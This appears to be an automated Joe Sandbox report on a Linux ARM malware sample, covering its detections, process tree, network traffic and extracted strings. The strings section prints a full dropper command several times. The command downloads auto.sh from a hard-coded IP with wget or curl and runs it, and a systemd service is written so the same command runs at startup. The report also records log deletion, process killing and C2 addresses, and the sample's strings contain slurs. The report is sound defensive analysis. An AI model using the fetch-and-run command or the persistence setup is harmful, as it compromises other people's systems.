Edit tour

Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1583073
MD5:	6a27b7679be2ee91ee53006b51832210
SHA1:	d2c2cd9791002177446ef2548392417ad87b4c9d
SHA256:	23815ea03401f17fedc670a93d733f1e62e68cf8a639092d3c53b53c1b4c9f4b
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Deletes system log files

Manipulation of devices in /dev

Sample deletes itself

Sends malformed DNS queries

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583073
Start date and time:	2025-01-01 19:26:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal72.troj.evad.linELF@0/4@54/0

Warnings

VT rate limit hit for: tcpdown.suo. [malformed]
VT rate limit hit for: tcpdown.su|1

Runtime Messages

Command:	/tmp/arm.elf
PID:	6233
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	made you my bitch
Standard Error:

Process Tree

system is lnxubuntu20

arm.elf (PID: 6233, Parent: 6158, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 6237, Parent: 6233)

arm.elf New Fork (PID: 6239, Parent: 6237)

arm.elf New Fork (PID: 6420, Parent: 6239)

arm.elf New Fork (PID: 6422, Parent: 6239)

arm.elf New Fork (PID: 6428, Parent: 6239)

arm.elf New Fork (PID: 6433, Parent: 6239)

arm.elf New Fork (PID: 6442, Parent: 6239)

arm.elf New Fork (PID: 6444, Parent: 6239)

arm.elf New Fork (PID: 6450, Parent: 6239)

arm.elf New Fork (PID: 6455, Parent: 6239)

arm.elf New Fork (PID: 6461, Parent: 6239)

arm.elf New Fork (PID: 6487, Parent: 6239)

arm.elf New Fork (PID: 6490, Parent: 6239)

arm.elf New Fork (PID: 6500, Parent: 6239)

arm.elf New Fork (PID: 6506, Parent: 6239)

arm.elf New Fork (PID: 6513, Parent: 6239)

arm.elf New Fork (PID: 6544, Parent: 6239)

arm.elf New Fork (PID: 6546, Parent: 6239)

arm.elf New Fork (PID: 6557, Parent: 6239)

arm.elf New Fork (PID: 6559, Parent: 6239)

arm.elf New Fork (PID: 6568, Parent: 6239)

arm.elf New Fork (PID: 6571, Parent: 6239)

arm.elf New Fork (PID: 6582, Parent: 6239)

arm.elf New Fork (PID: 6584, Parent: 6239)

arm.elf New Fork (PID: 6593, Parent: 6239)

arm.elf New Fork (PID: 6594, Parent: 6239)

arm.elf New Fork (PID: 6605, Parent: 6239)

arm.elf New Fork (PID: 6607, Parent: 6239)

arm.elf New Fork (PID: 6618, Parent: 6239)

arm.elf New Fork (PID: 6620, Parent: 6239)

arm.elf New Fork (PID: 6630, Parent: 6239)

arm.elf New Fork (PID: 6633, Parent: 6239)

arm.elf New Fork (PID: 6645, Parent: 6239)

arm.elf New Fork (PID: 6649, Parent: 6239)

arm.elf New Fork (PID: 6655, Parent: 6239)

arm.elf New Fork (PID: 6665, Parent: 6239)

arm.elf New Fork (PID: 6667, Parent: 6239)

arm.elf New Fork (PID: 6678, Parent: 6239)

arm.elf New Fork (PID: 6682, Parent: 6239)

arm.elf New Fork (PID: 6693, Parent: 6239)

arm.elf New Fork (PID: 6695, Parent: 6239)

arm.elf New Fork (PID: 6241, Parent: 6237)

arm.elf New Fork (PID: 6245, Parent: 6241)

arm.elf New Fork (PID: 6243, Parent: 6237)

sh (PID: 6243, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 6247, Parent: 6243)

systemctl (PID: 6247, Parent: 6243, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

arm.elf New Fork (PID: 6262, Parent: 6237)

sh (PID: 6262, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 6264, Parent: 6262)

systemctl (PID: 6264, Parent: 6262, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

systemd New Fork (PID: 6249, Parent: 6248)

snapd-env-generator (PID: 6249, Parent: 6248, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6266, Parent: 6265)

snapd-env-generator (PID: 6266, Parent: 6265, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 6280, Parent: 1477)

sh (PID: 6280, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 6280, Parent: 1477, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

systemd New Fork (PID: 6285, Parent: 1)

systemd-hostnamed (PID: 6285, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

gdm3 New Fork (PID: 6416, Parent: 1320)

Default (PID: 6416, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 6417, Parent: 1320)

Default (PID: 6417, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm.elf	Virustotal: Detection: 50%			Perma Link
Source: arm.elf	ReversingLabs: Detection: 52%

Source: arm.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: arm.elf	String: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/var/wwww/etc/systemd/system/startup_command.service[Unit]
Source: arm.elf	String: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch
Source: startup_command.service.13.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null)

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: tcpdown.suo. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:45846 -> 45.200.149.96:2601
Source: global traffic	TCP traffic: 192.168.2.23:57096 -> 107.175.130.16:7722

Source: /tmp/arm.elf (PID: 6233)

Socket: 127.0.0.1:39123

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16

Source: global traffic	DNS traffic detected: DNS query: tcpdown.su
Source: global traffic	DNS traffic detected: DNS query: tcpdown.su\|1
Source: global traffic	DNS traffic detected: DNS query: tcpdown.su
Source: global traffic	DNS traffic detected: DNS query: tcpdown.suo. [malformed]

Source: startup_command.service.13.dr	String found in binary or memory: http://154.216.18.192/auto.sh
Source: arm.elf, startup_command.service.13.dr	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/var/wwww/etc/systemd/system/startup_command.service[Unit]
Source: Initial sample	String containing 'busybox' found: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 912, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 918, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 1638, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	SIGKILL sent: pid: 6280, result: successful	Jump to behavior

Source: classification engine

Classification label: mal72.troj.evad.linELF@0/4@54/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/arm.elf (PID: 6239)

Deleted: /dev/kmsg

Jump to behavior

Source: /usr/libexec/gsd-rfkill (PID: 6280)	Directory: <invalid fd (9)>/..	Jump to behavior
Source: /usr/libexec/gsd-rfkill (PID: 6280)	Directory: <invalid fd (8)>/..	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6285)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/6111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/6111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/6111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/6111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/6111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/6111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 6241)	File opened: /proc/235/cmdline	Jump to behavior

Source: /tmp/arm.elf (PID: 6243)	Shell command executed: sh -c "systemctl daemon-reload"			Jump to behavior
Source: /tmp/arm.elf (PID: 6262)	Shell command executed: sh -c "systemctl enable startup_command.service"			Jump to behavior

Source: /bin/sh (PID: 6247)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 6264)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/arm.elf (PID: 6239)

Log files deleted: /var/log/kern.log

Jump to behavior

Sample deletes itself

Source: /tmp/arm.elf (PID: 6233)

File: /tmp/arm.elf

Jump to behavior

Source: /tmp/arm.elf (PID: 6233)	Queries kernel information via 'uname':			Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6285)	Queries kernel information via 'uname':			Jump to behavior

Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware/VGAuth/aliasStore
Source: arm.elf, 6682.1.00007f1bec034000.00007f1bec045000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_721-4290559889,
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: p$0!/proc/79/cmdline1/tmp/vmware-root_721-4290559889
Source: arm.elf, 6233.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6420.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6422.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6428.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6433.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6442.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6444.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6450.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6455.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6461.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6487.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6490.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6500.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6506.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6513.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6544.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6546.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp, arm.elf, 6557.1.00007ffd5a601000.00007ffd5a622000.rw-.sdmp	Binary or memory string: ux86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware/VGAuth
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: V/arm/var/lib/vmware/VGAuthP0/var/lib/vmware/VGAuth/aliasStoreQ
Source: arm.elf, 6682.1.00007f1bec045000.00007f1bec250000.rw-.sdmp	Binary or memory string: </var/lib/vmware/VGAuth
Source: arm.elf, 6682.1.00007f1bec034000.00007f1bec045000.rw-.sdmp	Binary or memory string: T/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-gB0a9f/tmpX/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-IofUpj\/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-IofUpj/tmp$/tmp/vmware-root_721-4290559889\/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-timedated.service-QD4YZh4/tmp/snap.lxd
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: V/arm/var/lib/vmware/VGAuth/aliasStoreP /var/lib/PackageKitQP:
Source: arm.elf, 6682.1.0000560ceef04000.0000560cef053000.rw-.sdmp	Binary or memory string: P /var/lib/vmwareQ
